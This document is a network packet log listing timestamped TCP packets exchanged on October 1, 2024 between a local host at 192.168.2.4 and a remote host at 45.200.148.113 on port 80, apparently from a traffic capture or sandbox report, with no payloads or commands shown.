Oct 1, 2024 07:51:14.434703112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.434730053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.434829950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.439337015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.439348936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.439398050 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.439443111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.439454079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.439491034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.444046021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.444056988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.444094896 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.444166899 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.444176912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.444214106 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.448771000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.448784113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.448792934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.448823929 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.448853016 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.448874950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.448885918 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.448908091 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.448925972 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.453505039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.453516960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.453557968 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.453620911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.453632116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.453660965 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.458214998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.458226919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.458275080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.458291054 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.511992931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.512057066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.512067080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.512161016 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.512161970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.512276888 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.512288094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.512332916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.512401104 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.512418032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.512437105 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.512464046 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.512706995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.512717962 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.512727976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.512737989 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.512748003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.512749910 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.512772083 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.512799978 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.513235092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.513246059 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.513278961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.513434887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.513446093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.513478994 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.513628006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.513668060 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.513725042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.513736010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.513746023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.513756990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.513762951 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.513767004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.513777018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.513794899 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.513813019 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.514365911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.514377117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.514388084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.514398098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.514408112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.514414072 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.514417887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.514429092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.514446020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.514467001 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.515045881 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.515057087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.515093088 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.515110970 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.515120983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.515131950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.515141010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.515141010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.515152931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.515171051 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.515198946 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.515883923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.515894890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.515904903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.515914917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.515924931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.515927076 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.515934944 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.515945911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.515959024 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.515979052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.516601086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.516611099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.516622066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.516644001 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.516664982 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.589771986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.589838982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.589848042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.589859962 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.589879036 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.589977026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.589987993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.589998960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.590009928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.590028048 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.590065002 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.590316057 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.590358019 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.590382099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.590394974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.590431929 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.590580940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.590591908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.590616941 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.590627909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.590640068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.590645075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.590662956 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.590687037 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.591109037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.591120005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.591130972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.591146946 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.591173887 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.591320992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.591331005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.591341972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.591358900 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.591377020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.591665030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.591675043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.591689110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.591705084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.591706991 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.591716051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.591727018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.591733932 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.591737986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.591754913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.591773033 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.592398882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.592410088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.592420101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.592431068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.592439890 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.592441082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.592451096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.592459917 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.592463017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.592493057 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.593048096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593058109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593067884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593087912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593097925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593102932 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.593108892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593121052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593122005 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.593141079 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.593158007 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.593841076 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593866110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593877077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593885899 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.593887091 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593898058 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593904018 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.593914032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593924999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593931913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.593935966 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.593950987 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.593976021 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.594690084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.594701052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.594711065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.594722033 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.594728947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.594732046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.594743967 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.594748020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.594774961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.595261097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.595271111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.595282078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.595292091 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.595297098 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.595303059 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.595314026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.595326900 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.595329046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.595340014 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.595355034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.595374107 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.596740961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.596752882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.596762896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.596803904 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.596832037 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.601180077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601248980 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.601288080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601301908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601313114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601321936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601322889 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.601332903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601341963 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.601344109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601355076 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601366997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601372957 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.601376057 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601386070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601392031 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.601397991 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601412058 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.601413965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601438046 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.601463079 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.601496935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601507902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601517916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601528883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601538897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601550102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.601551056 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.601582050 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.602246046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.602257013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.602267027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.602277040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.602288961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.602299929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.602307081 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.602325916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.602355003 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.602839947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.602850914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.602863073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.602870941 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.602889061 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.602926016 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.668039083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668054104 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668071032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668143988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668154955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668162107 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.668167114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668210030 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.668487072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668498039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668510914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668528080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668536901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668544054 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.668545961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668559074 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668580055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.668602943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.668921947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668931961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.668970108 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.669060946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.669099092 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.669245958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.669274092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.669284105 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.669305086 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.669424057 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.669435978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.669462919 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.669487953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.669615030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.669625044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.669678926 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.669678926 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.669790983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.669801950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.669883013 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.669958115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.670046091 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.670124054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.670169115 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.678740978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.678792953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.679074049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679102898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679114103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679122925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.679124117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679136038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679146051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679156065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679166079 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.679208040 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.679228067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679239035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679250002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679264069 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.679299116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.679400921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679413080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679450035 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.679765940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679778099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679789066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679821968 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.679841995 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.679925919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.679966927 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.680114985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.680155039 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.680290937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.680301905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.680330038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.680331945 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.680347919 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.680370092 CEST	49732	80	192.168.2.4	45.200.148.113
